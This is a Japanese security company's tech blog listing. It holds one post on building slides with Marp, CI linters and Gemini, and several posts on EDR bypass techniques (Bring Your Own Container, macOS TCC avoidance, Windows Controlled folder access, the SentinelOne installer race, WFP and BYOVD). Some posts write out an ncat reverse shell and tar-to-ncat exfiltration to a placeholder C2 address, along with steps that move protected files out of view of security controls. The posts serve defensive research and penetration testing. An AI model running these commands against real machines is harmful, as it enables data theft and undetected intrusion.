Sterra Security Tech Blog

株式会社ステラセキュリティの公式技術ブログ

スライドも「コード」として管理する。MarpとCI、AIで実現する、高品質で持続可能な資料作成

GitHub

代表の小竹（aka tkmru）です。弊社では、登壇資料などのスライドを作成する機会が多くあります。 直近ではAVTOKYO 2025で登壇していました。

AVTOKYOは渋谷のクラブで行われるカンファレンス（飲み会）です

しかし、一般的なスライド作成ソフトでは「バージョン管理が難しい」「テキストを対象としたチェックツールを使えない」といった、ドキュメント管理上の課題を抱えていました。 そこで、弊社ではMarpを用いて、スライドを「コード」のように管理・運用する仕組みを構築しました。本記事では、その背景と、CI、AIをパートナーとした制作プロセスについてご紹介します。技術広報 Advent Calendar 2025のシリーズ2の24日目の記事です。

なぜMarpを使うのか？

Marpは、Markdown形式で記述したテキストを、スライドへ変換するツールです。 Marpを選んだ理由は、テキストベースのツールである点です。テキストであれば、Gitでのバージョン管理が可能になり、差分が明確になります。 何より、私たちの慣れ親しんだ開発フロー（Pull Requestベースの運用）にスライド作成を統合できることが、品質管理の観点から重要でした。

github.com

AIとの「壁打ち」で構成を磨く

スライド作成やブログ記事の執筆において最も時間がかかるのは、章構成を考える段階です。ここで大きな助けとなったのが、AI（Geminiなど）との対話でした。AIに丸投げしてスライドや文章を自動生成するのではなく、「論理の妥当性を検証するパートナー」として活用しています。

  • 「技術的な概念を、初学者の方に伝えるにはどう順序立てるべきか？」
  • 「全体のストーリーラインに論理的な飛躍はないか？」
  • 「批判的に検討した場合、論理的な飛躍や反論の余地はないか？」

このようにAIと対話しながら、Markdownをブラッシュアップしていくプロセスは有意義でした。ページ（n枚目）という概念がないテキスト形式だからこそ、AIへのプロンプトもシンプルに保て、意図した通りの構成案をスピーディに得られます。

CIでスライドの品質を「テスト」する

Marpを採用した最大の恩恵は、GitHub Actions上で自然言語に対するLinterを動かせるようになったことです。 私たちは以下のツールをCIに組み込んでいます。これにより、助詞（てにをは）の誤用や表記ゆれの検出が自動化されました。 その結果、人間によるレビューでは「内容の専門性」や「ストーリーの妥当性」といった、より本質的な議論に集中できる環境が整いました。

typos

typosは、Rust製のスペルチェッカーです。

github.com

元々はコード内の識別子やコメントを対象としたツールですが、テキストファイルの誤字脱字検出にも使用できます。 セキュリティの資料では、「Vulnerability」や「Infrastructure」といった文字数が多い、複雑な英単語を多用します。 これらを「Vunlerability」のように打ち間違えてしまうと、資料全体の信頼性が損なわれかねません。 技術用語の綴りミスは、スライドの信頼性を損なう大きな要因になるため、typosを使ってチェックしています。

textlint

textlintは、自然言語に対するLinterで、日本語に対応したプラグインが多く存在します。

github.com

「です・ます」調の混在、二重否定、冗長な表現などをルールに基づいて検知します。 正確な情報伝達が求められるセキュリティベンダとして、文章の揺らぎを最小限に抑えることは大切です。 Linterによる形式的なチェックを自動化することで、人間によるレビューでは「内容の専門性」や「ストーリーの妥当性」といった、より本質的な内容の調整に集中できる環境が整いました。

GeminiのGem「編集者と校正役」による仕上げ

Linterによる形式的なチェックに加え、GeminiのGemにデフォルトで存在する「編集者と校正役」を活用しています。

このGemは、単なる誤字脱字の指摘を超えて、文脈に応じた表現の洗練や、冗長な表現の改善を得意としています。 AIを用いて構成を磨くだけでなく、AIに最終的な成果物となるPDFの内容を読み込ませて「読者視点での読みやすさ」をレビューしてもらうことも可能です。 MarkdownファイルとPDFファイルの両面から、AIによる校正を挟むことで、人間によるレビューでは気づきにくい細かなニュアンスの違和感まで解消しています。

実際の資料への適用と公開

この運用フローを実際に適用して作成したのが、弊社の会社紹介資料です。

speakerdeck.com

一見すると一般的なスライドに見えるかもしれませんが、すべてMarkdownとCSSから生成されています。 修正が必要になれば、Issueを起票し、PRを送り、CIを通過させてからマージされます。 資料作成のプロセスは、今や弊社にとって「エンジニアリング」の一部です。

おわりに

私たちは、提供するサービスの品質のみならず、アウトプットするあらゆる情報の「正確性」にこだわりたいと考えています。 私たちが日々向き合っている技術検証や脆弱性診断という仕事は、何よりも正確性と信頼性が求められるものだからです。

こうした「自動化による品質向上」や「知見の言語化」という文化は、弊社のGitHubにおけるOSS活動にも共通しています。 GitHubでは、ペンテスターの生産性を高めるツールを多数OSSとして公開しています。

github.com

「専門的な知見を、再現可能な形でコミュニティに還元すること」は、弊社のアイデンティティの1つです。 スライド1つをとっても、ただ作成するのではなく「より正確に、より堅牢に」するための仕組みを整える、こうした細部にまでエンジニアリングの精神を適用し続けていきます。

Windows特有のセキュリティ機構とBring Your Own Container

EDR

取締役CTOの小竹（aka tkmru）です。 前々回、前回に引き続きEDRバイパス手法の1つであるBring Your Own Container（BYOC）について紹介します。

BYOCは、Dockerコンテナを悪用して、EDRを回避する手法です。 この手法は、OSに標準搭載されたツールを悪用する「Living off the Land」（LotL）の考え方を、開発ツールであるDockerに応用したものです。 BYOCの概要を紹介している記事はこちら。

tech-blog.sterrasec.com

前回の記事ではmacOSでTCCを回避してBYOCを活用する方法について解説しました。

tech-blog.sterrasec.com

経験豊富なWindowsユーザの方の中には、前回の記事を読んだ時、WindowsのControlled folder accessが有効な環境であればどうなるのだろうと思った方もいるでしょう。 今回はControlled folder accessをはじめとするWindows特有のセキュリティ機構がBYOCを行う時にどのように振る舞うのかを紹介します。

バインドマウント時に表示されるDocker Desktop Dialog

Windows上で-vオプションを用いてホストOSのディレクトリをコンテナにマウントした状態でコンテナを起動しようとすると、Docker Desktopはファイル共有の許可を求めるDocker Desktop Dialogを表示します。 このダイアログはWindows環境のみの機能です。

例えば、次のコマンドを実行すると、C:\Users\<ユーザ名>\Downloads へのアクセス許可を求めるダイアログが表示されます。

$ docker run --rm -v C:\Users\<ユーザ名>\Downloads:/lib/modules -it ubuntu /bin/bash

Docker Desktop Dialogが出すダイアログ

これによって、Dockerがホストのファイルシステムへアクセスする際に、ユーザの明示的な許可が必要になります。

Docker Desktop Dialogの回避

docker cpコマンドを使用することでDocker Desktop Dialogを表示させずに、ホストからコンテナへファイルをコピーすることが可能です。 まず、既存のコンテナ、またはバックグラウンドで稼働する新しいコンテナを用意します。

$ docker run -d -p 8080:80 nginx

その後、docker cpコマンドを使い、ホスト上のファイルをコンテナ内の指定したパスにコピーします。 この操作では、Docker Desktop Dialogは表示されません。

$ docker cp C:\Users\<ユーザ名>\Downloads\secret.txt <container ID>:/lib/modules

docker cpは単発のコピーしか行いません。 -vによるバインドマウントと違い、コンテナとホスト間の持続的な接続が発生しないため、コンテナが侵害されても、ホスト上のファイルまで改ざんされたり、削除されたりするリスクはありません。 そのため、docker cpは-vに比べて安全なファイル転送方法とみなされており、Docker Desktop Dialogが表示されないと考えられます。

ファイルの不正な操作を防ぐControlled folder access

Windows 10, 11およびWindows Server 2019には、「ランサムウェア保護」の一環として「Controlled folder access（コントロールされたフォルダーアクセス）」というセキュリティ機能が含まれています。 この機能は、信頼されていない悪意のあるアプリが、保護されたフォルダー内のファイルを不正に変更することを防ぐことを目的としています。

次のリンクの公式ドキュメントでは「制御されたフォルダー アクセス」と表記されていますが、言語設定が日本語のWindowsでは「コントロールされたフォルダーアクセス」と表示されます。Microsoftのドキュメントの日本語訳はユーザを混乱させますね😢

learn.microsoft.com

続いて、Controlled folder accessの主な特徴を紹介します。

デフォルトで無効

Controlled folder accessは、ユーザが利用しているアプリケーションの意図しないブロックを防ぎ、互換性を保つため、Windowsの初期状態では無効になっています。 Windowsセキュリティの設定から「ウイルスと脅威の防止」を開き、「Controlled folder access」のトグルを操作することで有効にできます。

Controlled folder accessの設定画面

管理者権限で動作するPowerShellより次のコマンドを入力することでも有効にできます。

Set-MpPreference -EnableControlledFolderAccess Enabled

ファイルの変更をブロックし、通知する

Controlled folder accessは信頼できるアプリケーションのリストにアプリケーションが含まれているかどうかで動作が変わります。 保護されたフォルダ内のファイルを変更しようとするアプリが、「信頼できる」と判断されない限り、その動作はブロックされ、ユーザに通知が届きます。 Microsoftは、アプリの普及率や評価、有効なデジタル署名を持つかといった基準で多くの主要なアプリケーションを「信頼できる」リストに追加しています。 もし信頼すべきアプリが誤ってブロックされた場合、ユーザは手動でそのアプリを許可リストに追加することができます。

保護対象のフォルダ

Controlled folder accessは、システム全体ではなく、重要なフォルダのみを保護の対象とします。 ランサムウェアの主な標的となりやすい、次のフォルダが保護対象に設定されています。

ユーザ個別のフォルダー:

  • C:\Users\<ユーザ名>\Documents
  • C:\Users\<ユーザ名>\Pictures
  • C:\Users\<ユーザ名>\Videos
  • C:\Users\<ユーザ名>\Music
  • C:\Users\<ユーザ名>\Favorites

全ユーザ共通のパブリックフォルダ:

  • C:\Users\Public\Documents
  • C:\Users\Public\Pictures
  • C:\Users\Public\Videos
  • C:\Users\Public\Music

Dockerによる操作はControlled folder accessに検知されない

Controlled folder accessを有効にしている状態でも、Dockerの操作（バインドマウントやdocker cp）はブロックされません。 これは、Docker DesktopがWindowsによって「信頼されたアプリケーション」として扱われているためと推測できます。 Controlled folder accessは、未知のプログラムや評判の低いプログラムによるファイルの変更を防ぐことを目的としています。 Docker Desktopのように、広く利用され、適切なデジタル署名がされたアプリケーションは、ブロックされることなく動作します。 そのため、DockerのプロセスがControlled folder accessの保護対象のフォルダ内のファイルにアクセスしても、ブロックされることはありません。

まとめ

DockerのバインドマウントはDocker Desktop Dialogを出現させますが、docker cpコマンドでDocker Desktop Dialogを回避できます。 また、Controlled folder accessは、信頼されたアプリケーションの動作を妨げないため、docker cpによるファイル操作はブロックされません。 これらの挙動は、Windows上でのコンテナ利用におけるセキュリティ上の留意点として理解しておくべきポイントです。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。 また最近、ブログではEDRバイパスの解説記事が続いていますが、弊社の主力サービスはWebアプリケーション/スマホアプリの脆弱性診断です。 脆弱性診断のお問い合わせもお待ちしております。

macOSのTCCを回避しBring Your Own Containerを活用する

EDR

取締役CTOの小竹（aka tkmru）です。 前回に引き続きEDRバイパス手法の1つであるBring Your Own Container（BYOC）について紹介します。

BYOCは、Dockerコンテナを悪用して、EDRを回避する手法です。 この手法は、OSに標準搭載されたツールを悪用する「Living off the Land」（LotL）の考え方を、開発ツールであるDockerに応用したものです。 Bring Your Own Containerの概要を紹介している前回の記事はこちら。

tech-blog.sterrasec.com

経験豊富なmacOSユーザの方の中には、前回の記事を読んだ時、macOSにはTCCがあるので、macOSではBYOCは脅威にならないのではと感じた方もいるでしょう。 今回はTCCの仕様をうまく利用して、BYOCを行う手法を紹介します。

TCCの仕組み

現代のmacOS上で攻撃者が直面する最大の障害は、TCC（Transparency, Consent, and Control）です。 TCCは、macOSに搭載されているプライバシー保護のためのセキュリティフレームワークです。 ユーザの個人情報が含まれる可能性のある特定のフォルダや、カメラ、マイクといったハードウェアへのアプリケーションからのアクセスを管理します。

アプリケーションが初めてTCCの保護対象のリソースにアクセスしようとすると、macOSはユーザに対して許可を求めるプロンプトを表示します。 ユーザが一度許可または拒否を選択すると、その設定はTCCのデータベース（TCC.db）に記録され、以降のアクセスではその設定が自動的に適用されます。

Docker.appから~/Downloadへアクセスを試みた際のプロンプト

TCCの権限管理は、アプリケーションのバンドルIDに基づいて行われます。 重要な特徴として、親プロセスが持つTCC権限は子プロセスに継承されるという仕組みがあります。 例えば、ユーザがTerminal.appに対して特定のフォルダへのアクセスを許可した場合、Terminal.appから実行されるcpやlsといったコマンドも、その許可された権限を継承して動作します。 このプロンプトに対してユーザが「許可しない」を選択した場合、アプリケーションのアクセスは拒否され、「operation not permitted」というエラーが表示されます。

$ docker run --rm -v ~/Downloads:/lib/modules -it ubuntu /bin/bash
docker: Error response from daemon: error while creating mount source path '/host_mnt/Users/taichi.kotake/Downloads': 
mkdir /host_mnt/Users/taichi.kotake/Downloads: operation not permitted.

ユーザが付与した権限は、「システム設定」>「プライバシーとセキュリティ」>「ファイルとフォルダ」から確認できます。

~/Downloadへのアクセスを許可している様子

TCCの保護対象と監視対象外のディレクトリ

TCCは、ユーザの重要なデータが保存されているディレクトリを保護対象とします。主な保護対象は次の通りです。  

  • ~/Desktop
  • ~/Documents
  • ~/Downloads
  • iCloud Driveの同期のためのフォルダ
  • 外部ボリュームやネットワークボリューム

一方で、macOSのファイルシステムには、TCCの監視対象外となっているディレクトリも存在します。 その代表的な例が/tmpです。

/tmpは、OSやアプリケーションが一時的なファイルを保存するために使用する、全てのユーザが書き込み可能な共有ディレクトリです。 このディレクトリには「スティッキービット」という特殊なパーミッションが付与されており、自分が作成したファイル以外は所有者であっても削除できないようになっています。 /tmpはTCCの保護対象外であるため、どのアプリケーションもTCCプロンプトなしに/tmpへのファイルの書き込みが可能です。 この特性により、/tmpはTCCで保護された場所からファイルを持ち出すための一時的な置き場所として利用できます。

TCCを回避する手順

BYOCによるデータの持ち出しは次の2つのステップで構成されます。

  • ステップ1：コンテナへのデータ持ち込み
  • ステップ2：コンテナからのデータ持ち出し

ここではTerminal.appに付与されたTCC権限を利用して保護されたディレクトリからファイルをコピーし、/tmpを経由してコンテナ内に持ち込み、最終的に外部へ送信するまでの一連の手順を解説します。

下準備: TCCで保護されたディレクトリからファイルを/tmpへコピーする

下準備では、Terminal.appを用いてTCCで保護されたディレクトリ（例：~/Desktop）から、保護されていない/tmpへ持ち出したいファイルをコピーします。 Terminal.appがアクセス可能なディレクトリはhistoryコマンドの実行結果から確認できます。

# Terminal.appからアクセス可能なディレクトリを履歴などから確認
$ history
# 保護されたディレクトリから監視対象外の/tmpへファイルをコピー
$ cp ~/Desktop/secret.png /tmp/

cpコマンドはTerminal.appの子プロセスとして実行されるため、親プロセスが持つTCCの権限を継承しており、プロンプトなしでファイルにアクセスできます。   この操作により、ファイルはTCCの監視範囲外である/tmpに移動され、次のステップの準備が整います。

このコマンドが成功する理由は、TCCの脆弱性を利用しているからではありません。 ユーザが過去に何らかの操作（例えばls ~/Desktopの実行など）のために、親プロセスであるTerminal.appに対して~/Desktopへのアクセスを許可しているためです。  

ステップ1：コンテナへのデータ持ち込み

次に、/tmpのファイルをコンテナ内に持ち込みます。これにはいくつか方法があります。 docker cpコマンドを使って既存のコンテナに/tmpにあるファイルをコピーする方法や/tmpからファイルをコピーするようDockerfileを作成する方法などが考えられます。 ここでは/tmpをマウントした状態でコンテナを起動するコマンドを紹介します。

$ docker run --rm -v /tmp:/data -it ubuntu /bin/bash

このコマンドでは、ホストの/tmpをコンテナ内の/dataにマウントしています。 /tmpはTCCの保護対象外であるため、Docker.appがこのディレクトリにアクセスする際にTCCのプロンプトは表示されません。  

ステップ2: コンテナを利用してファイルを外部に持ち出す

コンテナが起動したら、EDRの監視がない自由なシェルを操作できます。 ここからファイルを外部に送信するのには様々な方法が考えられます。 例えば、コンテナ内部からncatのようなツールを使い、マウントしたディレクトリ内のファイルを外部のサーバへ送信できます。

# /tmpをマウントしてコンテナを起動し、内部のファイルを外部へ送信する
$ docker run --rm -v /tmp:/data -it ubuntu /bin/bash
# tar cf /data/secret.png | ncat XX.XX.XX.XX 3333

まとめ

TCCに保護されたファイルにアクセスし、BYOCを利用してEDRに検知されずに外部にデータを持ち出す一連の手法を解説しました。 この手法は、TCCやDockerの脆弱性を利用するものではなく、正規の仕様とユーザによって与えられた権限を組み合わせることで成立しています。 TCCが全てのディレクトリを保護している訳ではないこと、既に権限を持っているアプリケーションを活用することがポイントです。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。 また最近、ブログではEDRバイパスの解説記事が続いていますが、弊社の主力サービスはWebアプリケーション/スマホアプリの脆弱性診断です。 脆弱性診断のお問い合わせもお待ちしております。

Dockerを悪用するEDRバイパス手法「Bring Your Own Container」

EDR

取締役CTOの小竹（aka tkmru）です。 前回に引き続きEDRバイパス手法を紹介します。 EDRバイパスの概要はこちら。

tech-blog.sterrasec.com

昨今のソフトウェア開発において、Dockerをはじめとするコンテナ技術はなくてはならない存在となりました。 開発環境と本番環境の一貫性を保ち、迅速なデプロイを可能にするコンテナは、強力なツールです。 しかし、その利便性の裏側には、セキュリティ製品にとっての盲点が潜んでいます。 コンテナが持つ「隔離」機能は、本来セキュリティを高めるためのものですが、皮肉なことに、この隔離こそがEDRの監視をすり抜けるための隠れ家🏠になります。

この攻撃手法を、私は「Bring Your Own Container（BYOC）」と名付け、AVTOKYO2024にて発表しました。 これは、OSに標準搭載されたツールを悪用する「Living off the Land」(LotL) の考え方を、信頼された開発ツールであるDockerに応用したものです。

前編となる本記事では、このBYOCの具体的な手法と類似の攻撃事例について、解説していきます。

Dockerコンテナを用いた攻撃の流れ

BYOCは、コンテナへのデータを持ち込むステップとコンテナからデータ持ち出すステップの2つのステップで構成されます。 ここでは、その具体的なコマンドと共に攻撃の流れを見ていきましょう。

ステップ1：コンテナへのデータ持ち込み

まず、攻撃者はホスト上にある機密情報を、EDRから見えないコンテナの内部に持ち込みます。 これには、主に3つの方法があります。

手法A：ホストディレクトリのマウント

-vオプションを使い、ホスト上のディレクトリを直接コンテナにマウントします。 これにより、コンテナ内からホストのファイルに自由にアクセスできます。

# ホストのデスクトップをコンテナの/lib/modulesにマウントする例
$ docker run --rm -v ~/Desktop:/lib/modules -it ubuntu /bin/bash

--rmオプションを付けることで、コンテナ終了時に自動でコンテナが削除され、操作ログなどの痕跡がホストに残りづらくなります。

手法B：イメージへのデータの組み込み

DockerfileのCOPY命令を使い、機密情報を含んだDockerイメージを作成し、コンテナを立ち上げられます。

# Dockerfileの例
FROM ubuntu:latest
COPY ./secret /lib/modules/ # "secret"という名前の機密情報をコピー
RUN apt update && apt install -y ncat
CMD ["/bin/bash"]

手法C：既存コンテナへのサイドローディング

すでに稼働している正規のコンテナにdocker cpコマンドでファイルをコピーする手法です。 新しいコンテナを起動するよりも怪しまれにくく、よりステルス性が高いと言えます。

# 実行中のコンテナにファイルをコピーする例
$ docker cp secret.txt <Container ID>:/lib/modules/

ステップ2：コンテナからのデータ持ち出し

次に、コンテナ内に持ち込んだデータを、外部のC2（Command & Control）サーバへ送信します。

手法A：リバースシェルの確立

コンテナ内でncatのようなネットワークツールを使い、C2サーバへ接続してリバースシェルを確立します。 一度シェルを確保してしまえば、EDRの監視外で自由に対話的な操作できます。

# コンテナ内からC2サーバーへリバースシェルを接続する例
# ncat XX.XX.XX.XX 3333 -e /bin/bash

手法B：直接的なデータ送出

tarコマンドでデータをアーカイブし、パイプでncatに渡すことで、データを直接C2サーバーにストリーミングします。 対話的な操作を必要としないため、効率的にデータを送出できます。

# /lib/modulesディレクトリをtarで固めてncatで送出する例
# tar cf - /lib/modules/ | ncat XX.XX.XX.XX 3333

攻撃者目線での利点

EDRから解放されたシェルを自由に操作できる

最大の利点は、EDRの監視がないシェルを自由に操作できることです。 EDRを無効化するような派手なアクションは不要で、開発者の日常的なdockerコマンドの実行に紛れ込ませることができるため、検知が困難です。

使い慣れた攻撃環境を展開できる

攻撃者は、あらかじめツールを仕込んだDockerイメージを用意しておくことで、Dockerがインストールされている環境であればどこでも、使い慣れた攻撃環境を即座に展開できます。 標的の環境ごとにツールをダウンロードする必要がなくなり、検知リスクをさらに下げられます。

永続化と横展開への活用

長時間稼働するコンテナは、ネットワーク上での永続的な足場として機能します。 コンテナは独自のネットワークスタックを持つため、そこを踏み台として内部ネットワークの他のホストをスキャンしたり攻撃したりする、横展開（ラテラルムーブメント）の起点にもなり得ます。

攻撃に用いた環境を削除するのが簡単

使用したDockerイメージとコンテナを削除し、コンテナを動かすのに実行したコマンドをシェルのヒストリから削除すれば、攻撃に使用した環境を削除でき、痕跡を探すのが困難になります。 ぺネトレーションテストの際には、侵害した端末に残したファイルが後々問題になることもあるので、ペンテスター目線でもこれは嬉しいところです。

Dockerがインストールされている環境が前提

BYOCは、あくまでコンテナ内に持ち込んだデータを操作するものであり、ホストOS自体を直接制御できるわけではありません。 また、攻撃の前提として、標的の環境にDockerがインストールされている必要があります。 しかし、Dockerのインストールには高い権限が求められます。 この制限はBYOCの欠点です。

類似の攻撃手法と実例

Dockerが攻撃に活用された事例と他のプラットフォームでの似た手法を紹介します。 「正規の分離技術を悪用して監視を回避する」というBYOCの概念は、Dockerだけに留まりません。

macOSにおいてDockerを利用したステルス化事例

Elastic Security Labsの報告によると、「TraderTraitor」と呼ばれる北朝鮮を背景とするサイバー攻撃グループが、macOSを標的とした攻撃でDockerを悪用した事例があります。 この攻撃では、Dockerコンテナにパッケージ化した、株取引ツールを装った悪意のあるPythonアプリケーションが使用されました。

AppleのEndpoint Security Framework（ESF）は、コンテナ内部で実行されるプロセスを詳細に調査する能力に欠けています。 そのため、EDRは「信頼されたDockerプロセス」がホスト上の機密ファイル（SSHキーやAWS認証情報など）にアクセスしていることは検知できても、それが正規の開発者のワークフローなのか、悪意のある活動なのかを区別することは困難です。 結果として、EDRはコンテナ化された活動を検知しにくくなり、攻撃者はDockerコンテナという隠れ家🏠の中で、ステルス性を保ちながら活動できます。 この事例は、BYOCが現実の攻撃で利用されていることを示す好例です。

www.elastic.co

Windows Sandboxを利用したEDRバイパス

Windowsにも、Dockerの代わりにWindows Sandboxを使用してEDRをバイパスする類似の手法が存在します。 Windows Sandboxは、軽量で隔離された一時的なデスクトップ環境を提供する機能です。 Dockerコンテナと同様に、Windows Sandbox内で実行されるアクティビティはホストOSから隔離されています。 そのため、EDRは、Windows Sandbox内で発生するプロセスやネットワーク活動に対する可視性が制限されます。 攻撃者はこのサンドボックスを利用して、悪意のあるコードの実行、追加ペイロードのダウンロード、攻撃の準備などを行い、サンドボックスを閉じると同時にすべての痕跡を消し去ることができます。 これは、隔離を目的とした正規のシステム機能を攻撃者が逆手に取り、監視がない環境を作り出すという点で、BYOCと似ています。

blog.itochuci.co.jp

まとめ

私がAVTOKYO2024で発表した、Dockerコンテナを悪用してEDRの監視を回避する攻撃手法「Bring Your Own Container」について、具体的な手法から攻撃者にとっての価値、さらにはWindows Sandboxを用いた類似の事例までを解説しました。 これらの手法に共通するのは、セキュリティのための「隔離」技術が、攻撃者にとっての「隠れ家🏠」として利用されてしまうという点です。 信頼されたツールの正当な利用されると、悪意ある活動を区別することが困難です。

次回以降は、macOSのTCC、WindowsのControlled folder accessなどのOSのセキュリティ機構をバイパスする手法を組み合わせる方法や具体的な対策について詳しく掘り下げていきます。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。

SentinelOneのインストーラを悪用するEDRバイパス手法「Bring Your Own Installer」

EDR

取締役CTOの小竹（aka tkmru）です。 前回に引き続きEDRバイパス手法を紹介します。前回は、EDRバイパスの概要について紹介しました。

tech-blog.sterrasec.com

今回はSentinelOneがインストールされた多くの端末で有効と思われる「Bring Your Own Installer」というテクニックを紹介します。EDRバイパスのテクニックは、攻撃者がフィッシング攻撃や脆弱性を利用した攻撃を行い、端末に侵入した後に、マルウェアを実行する際に用いられます。

インストーラの仕様を悪用したテクニック

Bring Your Own Installer（BYOI）は、SentinelOneのエージェントのインストーラが持つ仕様を悪用するEDRバイパスの手法です。EDRにおいてエージェントとは、各端末にインストールされ、監視を行うソフトウェアのことを指します。

この手法は、正規のアップグレードプロセスを意図的に開始し、EDRが無効になる期間を狙ってプロセスを中断させることで、保護機能を永続的に無効化するというものです。Aon社によって公表されました。 攻撃のプロセスは次の通りです。

  1. ローカル管理者権限を持つ攻撃者が、エージェントの正規のインストーラを実行します。
  2. アップグレードプロセスが開始されると、まず既存の動作しているエージェントに関連する全てのサービスが停止します。新しいエージェントが起動するまでの約55秒間、EDRが実行されていない期間が生じます。  
  3. 攻撃者はこの期間にアップグレードプロセスを管理しているWindowsインストーラサービス（msiexec.exe）を強制終了させます。  
  4. msiexec.exeが終了すると、アップグレードは中断され、新しいエージェントも停止された古いエージェントも起動しません。その結果、端末はEDRの保護がない無防備な状態に陥ります。

これは、プロセスレベルでの「TOCTOU（Time-of-check to time-of-use）」の競合状態の一種と見なすことができます。 Aon社のインシデントレスポンスチームであるStroz Friedbergの報告によると、この手法はBabukというランサムウェアの展開に利用されていました。

修正状況

SentinelOneは、この問題を緩和するための機能「Local Upgrade/Downgrade Authorization」を提供しています。 この機能は新規のユーザに対してはデフォルトで有効化されていますが、既存ユーザの環境では、サードパーティ製の展開ツールとの互換性を維持するため、デフォルトでは有効にされていません。 そのため、古くからSentinelOneを使用している企業の環境では、管理者が手動で設定を有効にしない限り、この手法に対して脆弱な状態が続いています。

Bring Your Own Installerの対策を有効にする

管理コンソールで「Local Upgrade/Downgrade Authorization」を有効にすることで、Bring Your Own Installerの対策を行えます。手順は次のようになります。

  1. ダッシュボードを開き、左のタブからSentinelsを選択します。
  2. Sentinelsページを開いたら、上部のタブからPolicyを選択します。
  3. ページをスクロールし、Agent セクションを見つけます。
  4. Local Upgrade/Downgrade Authorizationの設定のBlock local Windows Agent upgrades/downgradesのトグルを有効にします。  

Block local Windows Agent upgrades/downgradesを有効にする

まとめ

Bring Your Own Installerは、攻撃者が信頼された正規のシステム機能（今回はインストーラ）を意図しない形で使用するという、現代のトレンドに沿った手法だと私は感じました。この攻撃は、プロセスレベルでの「TOCTOU（Time-of-check to time-of-use）」の競合状態の一種と見なすことができます 。システムのチェック（アップグレード開始）と、その結果の利用（アップグレード完了）の間に存在する時間的なギャップを悪用するTOCTOUであり、攻撃者はこのギャップを突いてプロセスを中断させ、EDRを永続的に無力化します。

Bring Your Own Installerの対策を行うための機能は自動では有効化されていません。 この事例は、セキュリティツールを導入するだけでは不十分であり、その設定を定期的に検証することの重要性を浮き彫りにしています。 脅威の状況やベンダーの推奨設定は常に変化するため、日々情報収集を行い、自社に導入されているセキュリティツールがベストプラクティスに沿っているかを定期的に検証することが大切です。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。

参考資料

真実と幻想とEDRバイパス概覧

EDR

取締役CTOの小竹（aka tkmru）です。 著名なセキュリティ製品であるEDRは、残念ながら万能ではありません。 今回は、世界各地のセキュリティカンファレンスで頻繁に新しいテクニックが発表されており、ホットな分野である「EDRバイパス」の概要を紹介します。

はじめに

今日の企業において、従業員が使用する端末に対して、EDR（Endpoint Detection and Response）を導入するというのは標準的な対策となっています。 何らかの攻撃に成功して、企業内の端末に侵入できても、何も配慮していないとマルウェアはEDRにブロックされます。 しかし、高度な攻撃者はEDRによる検知を回避・迂回してきます。 EDRを迂回・回避するテクニックはEDR バイパス（Bypass）またはEDR Evasionと呼ばれます。

EDRを回避する技術をなぜ知るべきなのか

最新のマルウェアの多くがEDRバイパス機能を備えています。 EDRの弱点を把握していなければ、ペネトレーションテストでは適切な評価ができず、セキュリティ対策の設計においては過度にEDRを信頼してしまい、現実の脅威に対応できなくなります。

そのため、ペネトレーションテスターやインシデントレスポンダーといったエシカルハッカーにとっても、EDRバイパスを理解しておくことは大切です。 この記事は、攻撃を助長するものではありません。

攻撃者がマルウェアを実行させるまでのシナリオ

攻撃者が標的企業のシステムに侵入する手法の1つに、ソーシャルエンジニアリングを駆使して従業員を欺き、マルウェアを実行させる手法があります。 ここでは、著名な攻撃グループであるLazarusがスペインの航空宇宙企業を標的にした事例を紹介します。

Lazarusの攻撃者は採用担当者を装い、SNSやメールで標的の企業の従業員に接触しました。 そして、「コーディングテスト」と偽ってマルウェアを送りつけ、実行させました。 転職を希望している方であれば、LinkedInなどで大企業からスカウトメッセージが来たら、対応してしまう方も多いでしょう。

  1. SNSや電子メールを利用し、標的企業の従業員にフィッシングメールを送信
  2. 採用担当者になりすました攻撃者がコーディングテストに偽装したマルウェアを配布
  3. コーディング課題だと思った従業員がマルウェアを実行

EDRバイパスの主なカテゴリ

EDRをバイパスする技術は多岐にわたりますが、主に次の4つのカテゴリに分類できます。 これらを組み合わせることで、検知を回避する可能性が高まります。

  • EDRを避ける
    • プロキシ経由で通信するなどして、EDRの監視から逃れる。
  • 既存の環境と同化させる
    • 正規の署名を持つアプリケーションを悪用するなどして、正当な活動に見せかける。
  • EDR自体を改ざんする
    • EDRプロセスのメモリを改ざんするなどして、EDR自体の機能を停止させる。
  • 監視されていない場所を用いる
    • EDRの監視が及ばない領域を利用して活動する。

ケーススタディで見るEDRバイパス手法

ここでは、代表的なEDRバイパス手法を2つのケーススタディを通して解説します。

1. Windows Filtering Platformの悪用

Windows Filtering Platformとは？

Windows Filtering Platform（以下WFP）は、Windowsに標準で組み込まれているネットワークフィルタリング機能です。 開発者は、IPアドレス、ポート、プロトコル、アプリケーションなどに基づいてネットワークトラフィックを監視・ブロックするカスタムルールを作成できます。 ファイアウォールやアンチウイルス製品など、多くのセキュリティ製品で利用されています。

攻撃手法

攻撃者はWFPを悪用し、EDRのプロセスから発信される通信を遮断するフィルタを作成します。 これにより、EDRがアラートをサーバへ送信するのを防ぎ、事実上その機能を無力化します。

EDRSilencerやEDRPrisonがこの手法を実装したツールとして知られています。 また、EDRNoiseMakerというEDRの通信をブロックしているWFPフィルタの存在を検知するためのツールも存在します。

2. 脆弱なカーネルドライバを悪用 (BYOVD)

ドライバとは、OSがPCに接続されたハードウェアと通信するためのソフトウェアであり、OSの中でも特に高い権限（カーネルレベル）で動作します。 攻撃者は、正規の署名を持つドライバに存在する既知の脆弱性を悪用することで権限昇格を行い、EDRをバイパスしようとします。

攻撃手法

具体的には、次のステップで攻撃が進行します。

  1. 脆弱性を持つ署名済みドライバをインストールする。
  2. ドライバの脆弱性を用いて、ドライバに任意のコードを注入し、権限昇格を行う。
  3. カーネルのメモリを変更し、EDRによって設置されたフックを削除する。

